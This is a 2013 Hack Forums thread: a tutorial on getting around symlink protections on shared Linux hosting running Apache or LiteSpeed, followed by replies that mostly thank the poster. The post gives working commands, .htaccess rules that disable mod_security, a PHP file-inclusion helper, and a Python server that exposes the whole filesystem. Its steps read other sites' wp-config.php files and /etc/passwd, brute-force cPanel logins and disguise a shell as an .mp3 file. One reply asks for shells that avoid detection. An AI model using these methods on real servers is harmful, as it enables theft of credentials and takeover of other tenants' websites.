

Forum:[Hack Forums](#)

Thread: [??? \[BYPASSING SYMLINK METHODS:\]?_ On LINUX | APACHE AND LITESPEED SERVERS _\[/TUT\]???](#)

mObile - May 29, 2013, 8:21 pm

[img]http://static.xpertdeveloper.com/uploads/2011/07/allooverride_htaccess.png[/img]

Shelled Server

Writable .htaccess

This tutorial has been in the wild for the past week, posted by Sen Haxor which basically shows you different methods on how to bypass symlink on Linux/Apache/Litespeed servers via .htaccess. Most of this tutorial is already well known but I did not know a few of these so I thought I'd share for those of you new to this method.

So Lets Get Started With This Tutorial:)

Note : This tutorial will not work for Godaddy , Bluehost , Hostgrator and Hostmonstor Servers .

Tutorial:

Firstly You Need the Following Files For This Method:

- 1 -> Sen Haxor CGI Shell
- 2 -> sen.zip
- 3 -> passwd-bypass.php
- 4 -> Turbo Brute force Cpanel
- 5 -> Port.py

First Before Starting to symlink we need to create php.ini and ini.php to Disable Safe mode and Disabled Functions on the server .

Use the Following Code :

Make a php.ini with the following code

safe_mode=Off

And ini.php with

PHP Code

```
<?
echo ini_get("safe_mode");
echo ini_get("open_basedir");
include($_GET["file"]);
ini_restore("safe_mode");
ini_restore("open_basedir");
echo ini_get("safe_mode");
echo ini_get("open_basedir");
include($_GET["ss"]);
?>
```

Download link of the files used in this method are on the end of the tutorial .

So after creating php.ini and ini.php upload the other files to the server .

BYPASSING SYMLINK ON PLESK , DEBIAN , CENTOS & REDHAT SERVERS

Now i will explain how to bypass symlink on Plesk , Debian , Centos and Redhat

Commonly all of the above have root path like

/root/var/www/vhost/

where all sites will be under vhost directory . But you wont have permission to view it so we will create a symbolic link to root and view the site and symlink the config files

Make a new directory in your shell example sen then upload sen.zip . Then use this command to unzip the file and create a symbolic link to root .

Command : unzip sen.zip

Note : In some servers unzip command wont work so you can manually create a symlink to root by using the command ln -s / root

Then You will see this

```
$ unzip sen.zip
```

```
Archive: sen.zip
```

```
  linking: sen.txt -> /
```

```
finishing deferred symbolic links:
```

```
  sen.txt -> /
```

This means a symbolic link has been created to / root .

[img]http://foto.pk/images/2rkr.jpg[/img]

Now we need to upload .htaccess use the following

PHP Code

```
<?php
```

```
Options all
```

```
DirectoryIndex Sux.html
```

```
AddType text/plain .php
```

```
AddHandler server-parsed .php
```

Done Bypassed Now View /var/www/vhost/ and you will be displayed with all sites .

[img]http://foto.pk/images/3twf.jpg[/img]

BYPASSING SYMLINK ON APACHE AND LITESPEED:

Mostly when you try to symlink apache in 2013 server you will face 403 forbidden or 404 not found and 500 Internal Server Error

These can be Bypass By Using Different .htaccess individually.

BYPASSING SYMLINK ON APACHE & LITESPEED - Linux Servers .

First for this make a new directory in your shell example sen then upload sen.sa and .htaccess from the Sen Haxor CGI shell which i added the download link at the end of the Tutorial

After uploading .htaccess and sen.sa to a new directory sen chmod sen.sa to 0755

Then Open the Cgi Shell Login (Password : senhaxor)

Now there are several methods to bypass 403 forbidden You need to try all the following methods . Atleast one will give you success .

Method 1 : .shtml method

This is the commonly used method by most of the hackers to bypass 403 forbidden Error .

So before we proceed first you need to get all /etc/passwd from the server so that we can find the username and path of where the sites are located .

2013 Server mostly Many functions are enabled which shows 403 forbidden when you try to read cat /etc/passwd from the server

so i made a Powerfull Shell which can bypass and get /etc/passwd from the server.

(I will also add it to the Downloads.)

Upload the /etc/passwd bypasser shell and get all /etc/passwd

Then Login to Sen Haxor CGI Shell and create a symbolic link to your Target;

Step 1 : `ln -s / root`

Step 2 : `ln -s /home/username/public_html/config.php 1.shtml`

Example if our site is www.site.com and username is site and its Wordpress

`ln -s /home/site/public_html/wp-config.php 1.shtml`

So we created a Symbolic link to our Target now you need to Go to Your Shell and Edit the .htaccess with the following Code :

PHP Code

`<?php`

Options +FollowSymLinks

DirectoryIndex itti.html

RemoveHandler .php

AddType application/octet-stream .php

Once you done this Open the 1.shtml on your Browser and rightclick and view source . You will be able to View the Config .

This is the common way of Bypass 403 forbidden and Litespeed .

Now Let Me Explain You the Advanced Method =)

Method 2 : Bypassing Symlinked Config From Cpanel:

For This You need at least One Cpanel Access on the sever . I will tell you how to easily crack Cpanel .

First Run This Command : `ls /var/mail`

Then you will be displayed with all username from the server Copy all .

Now Upload Turbo Brute Force Cpanel Script (i will attach it will the downloads).

Open the Script and in User Paste all the username we got .

And for Password here is the wordlist [Here](#) :

Copy All and Paste it on Password Select Simple and Click Submit

If Your lucky you will be displayed with cracked cpanels.

Once you got a cpanel on the server You can Bypass 500 Internal Server Error 403 Forbidden Error From Port :2077 and From error-pages from file manager.

Just symlink the config

`ln -s /home/user/public_html/wp-config.php config.shtml`

Login to the cpanel

Then Go to File Manager -> Error Pages

Then Choose any of these according to what error is triggered when you open your symlinked config

400 (Bad request)

401 (Authorization required)

403 (Forbidden)

404 (Not found)

500 (Internal server error)

Example "&file=400.shtml&desc=(Bad request)
we can get the config by
"&file=config.shtml& desc=(Bad request)
BYPASS SYMLINK FROM PORT 2077
So once you Symlinked the Config You can just login to port 2077
Then public_html/path/config.shtml

You will be able download the config.shtml and you can view the source .

Method 3 : Symlink Bypass via Open Port using Python
For this First we Python to be Installed on Server.

To check if Python is installed run this command `python -h`
If its install we can use the following python script and Bypass

```
#!/usr/bin/env python
# devilzc0de.org © 2012
import SimpleHTTPServer
import SocketServer
import os
port = 13123
if __name__=='__main__':
os.chdir('/')
Handler = SimpleHTTPServer.SimpleHTTPRequestHandler
httpd = SocketServer.TCPServer(("", port), Handler)
print("Now open this server on webbrowser at port : " + str(port))
print("example: http://site.com ." + str(port))
httpd.serve_forever()
```

(I have added the script to downloads.) Now Upload the script to the shell.
[img]http://foto.pk/images/205cjg3.jpg[/img]

Now run this command : `python port.py`
[img]http://foto.pk/images/2je1wqq.jpg[/img]

Now Open the site with port 13123
www.site.com:13123
[img]http://foto.pk/images/j5ifwm.jpg[/img]
erver Bypassed From Open Port .

Method 4 : Bypassing Symlink Using .ini Method.

Login to Sen Haxor CGI shell normally create a symlink to your target in .ini Extension .
In -s /home/user/public_html/wp-config.php config.ini

Now go to the shell and make a new file a.shtml
Paste the following code inside it and save it
PHP Code
<?php
[b]<!--[/b]#include virtual="config.ini"-->
and save it .

Now open the a.shtml in the browser and right click and view the source . Done Bypassed

Method 5 : Bypassing Symlink Using ReadMe file.

Make a new directory in your shell From the Cgi shell normally symlink the config

In -s /home/user/public_html/config.php config.txt

now make .htaccess with the following code .

PHP Code

```
<?php
```

```
.htaccess
```

```
Options All
```

```
ReadMeName config.txt
```

Now when you open the directory on the browser you will be displayed with the config source directly .

eg : site.com/sen/config.txt is your symlinked config then when you open

www.site.com/sen/ you symlinked config will be displayed as a ReadMe content .

Thats it i have explain All the Methods to Bypass Symlink If you will have problem Bypassing Try all the Following .htaccess

1 -> PHP Code

```
<?php
```

```
.htaccess
```

```
Options Indexes FollowSymLinks
```

```
DirectoryIndex ss.htm
```

```
AddType txt .php
```

```
AddHandler txt .php
```

2 -> PHP Code

```
<?php
```

```
.htaccess
```

```
Options All
```

```
DirectoryIndex ssss.html
```

```
addType txt .php
```

```
AddHandler txt .php
```

```
<IfModule mod_security.c>
```

```
SecFilterEngine Off
```

```
SecFilterScanPOST Off
```

```
</IfModule>
```

3 -> PHP Code

```
<?php
```

```
.htaccess
```

```
suPHP_ConfigPath /home/user/public_html/php.ini
```

4 -> PHP Code

```
<?php
```

```
.htaccess
```

```
Options +FollowSymLinks
```

```
DirectoryIndex Sux.html
```

```
Options +Indexes
```

```
AddType text/plain .php
```

```
AddHandler server-parsed .php
```

```
AddType text/plain .html
```

5 -> .htaccess

```
Options Indexes FollowSymLinks
```

```
DirectoryIndex ss.htm
```

```
AddType txt .php
```

```
AddHandler txt .php
```

```
<IfModule mod_autoindex.c>
IndexOptions
FancyIndexing
IconsAreLinks
SuppressHTMLPreamble
</ ifModule>
<IfModule mod_security.c>
SecFilterEngine Off
SecFilterScanPOST Off
</IfModule>
```

.HTACCESS TO BYPASS DISABLED FUNCTIONS

This one is to make python work :

PHP Code

```
<?php
```

```
.htaccess
```

```
AddType
```

```
application/x-httpd-cgi .py
```

```
AddHandler cgi-script .py
```

```
AddHandler cgi-script .py
```

This one is to make perl work :

PHP Code

```
<?php
```

```
.htaccess
```

```
AddType application/x-httpd-cgi .pl
```

```
AddHandler cgi-script .pl
```

```
AddHandler cgi-script .pl
```

This one is to enable Symlink if the function is disabled in the server :

PHP Code

```
<?php
```

```
.htaccess
```

```
<Directory "/home"> *** Options -ExecCGI* ***
```

```
AllowOverride
```

```
AuthConfig Indexes
```

```
Limit FileInfo
```

```
Options=IncludesNOEXEC,Indexes,Includes,MultiViews ,SymLinksIfOwnerMatch,FollowSymLinks
```

```
</ Directory>
```

This one is to retrieve users permissions :

PHP Code

```
<?php
```

```
.htaccess
```

```
AddType text/plain .php
```

```
Options +Indexes
```

```
DirectoryIndex filename.html
```

Bypass Internal Server error :

PHP Code

```
<?php
.htaccess
<IfModule mod_security.c> SecFilterEngine Off SecFilterScanPOST Off </IfModule>
```

Change php version:

PHP Code

```
<?php
.htaccess
```

```
AddType application/x-httpd-php4 .php
```

Bypass Uploads Options and upload shell in another extension :

PHP Code

```
<?php
<FilesMatch "^.*\mp3"> SetHandler application/x-httpd-php </FilesMatch>
```

Retrieve Config with picture method :

PHP Code

```
<?php
.htaccess
Options FollowSymLinks MultiViews Indexes ExecCGI
AddType application/x-httpd-cgi .gif
AddHandler cgi-script .gif
AddHandler cgi-script .gif
```

So that's it i think i had covered everything thats related to Bypass Symlink and Disabled Functions on Server .

DOWNLOAD THE SCRIPTS I HAVE USED ON THE TUTORIAL >>[HERE](#)<<

Virus Scan:

<https://www.virustotal.com/en/file/edd547eb71b34af5d1ba6f7384e98a145da7b3df773c26a1deb0010a3108da53/analysis/1369883250/>

Knowledge is Power! So I hope a few of you learned something new, Thanks for viewing my thread.
?

RRRoooRRR - May 29, 2013, 9:06 pm

LOL i just seen this but im more surprised to find no comments?

Nice job bro, i like the detail and time you put into typing this, it shows. I always enjoy reading your work (along with other HQ members here, at least the few that i know).

Keep it up and hope to see more from you,

Kudos,

-Chosen-

Destroyer2196 - May 29, 2013, 9:10 pm

Good, but Method 3 : Symlink Bypass via Open Port using Python don't work!

?Dante - May 30, 2013, 1:50 am

It's a very good in-depth tutorial sir. Thanks for posting. :3

Suved - May 30, 2013, 4:28 am

Nice tutorial.

Thanks for tutorial.

__v.i.r.u.s__ - May 30, 2013, 9:16 am

Thx a lot man for the very helpful tut.

Flaaffy - May 30, 2013, 9:32 am

this looks great thanks bro will try it out a bit later!

Mr.Phoenix - May 30, 2013, 12:38 pm

I know this already ? Atleast try to give credits for original author in this thread.

Credits: Sen Haxor

backmark - May 30, 2013, 7:30 pm

found what i was looking for, thanks.

Atrocious? - May 30, 2013, 7:32 pm

Thanks for the tutorial

very helpful tutorial..

?Alexander - May 31, 2013, 7:58 am

I tried this method

Code BYPASSING SYMLINK ON PLESK , DEBIAN , CENTOS & REDHAT SERVERS

When I go to the location it gives me a 403 Forbidden. Anybody knows what I'm doing wrong?

Other than that, awesome tutorial!

hatov - May 31, 2013, 8:11 am

Nice tutorial.

Thanks for tutorial.

sedrata - May 31, 2013, 11:12 am

thank s men ill try it

Nice tutorial.

????

i tried all methods but no one want to work for me
server informations

[img]<http://im37.gulfup.com/3C2bU.jpg>[/img]

sanket_rocker - June 2, 2013, 6:48 am

Great tut ,But not yours :(

Credits: Sen Haxor

samrokzz - June 2, 2013, 9:03 am

Nice to read a detailed tutorial , Thanks .

Flaaffy - June 2, 2013, 9:36 am

(Jun 2, 2013 06:48 AM)sanket_rocker Wrote: [\[CITE\]](#) Great tut ,But not yours :(

Credits: Sen Haxor

this ^^ give credit where its due, otherwise its good

#Skyline - June 3, 2013, 3:12 am

Out of all the shit you've posted in this section. This is your best work.

w3areanonymous - October 31, 2013, 3:11 pm

Awesome. Hope to see more tutorials/threads like this keep it up :)

lcmp Traffic - November 1, 2013, 7:03 am

A very good tut mate i am learning thank you so much

-Syn - November 2, 2013, 2:30 am

foto.pk :) is gone ..

that's why .. pictures are broken !

sam2011hacker - December 27, 2014, 4:16 am

thanks for the detailed tutorial. Is there anyway to bypass bluehost

sam2011hacker - December 27, 2014, 4:17 am

Thanks for the detailed tutorial. Is there any way to bypass bluehost?

nepHaXOr - May 20, 2015, 7:48 am

Hahhah bro: I see it already

<http://junookyo.blogspot.com/2013/06/bypass-symlink-on-linux-servers-by-sen-hacker.html>

But thanks for sharing it on HF.

MNZK0406 - May 23, 2015, 10:23 am

thanks man this is an great tutorial ! thank you !

Pottercypher - May 25, 2015, 12:48 pm

Nice tutorial. Where can I download the latest symlink shell (2015 symlink shell) and which is the best symlink shell that is not detectable by most web servers? Which symlink script is the best? How do you bypass blocked or patched servers using symlink? Which other methods / tools / shells / scripts that can be used to hack several websites on one same server?

therocker007 - May 5, 2019, 2:55 pm

thank you very much for the symlink bypass

Bipo - May 5, 2019, 4:21 pm

This is a 6 years old tread not shure but maby it's not up to date .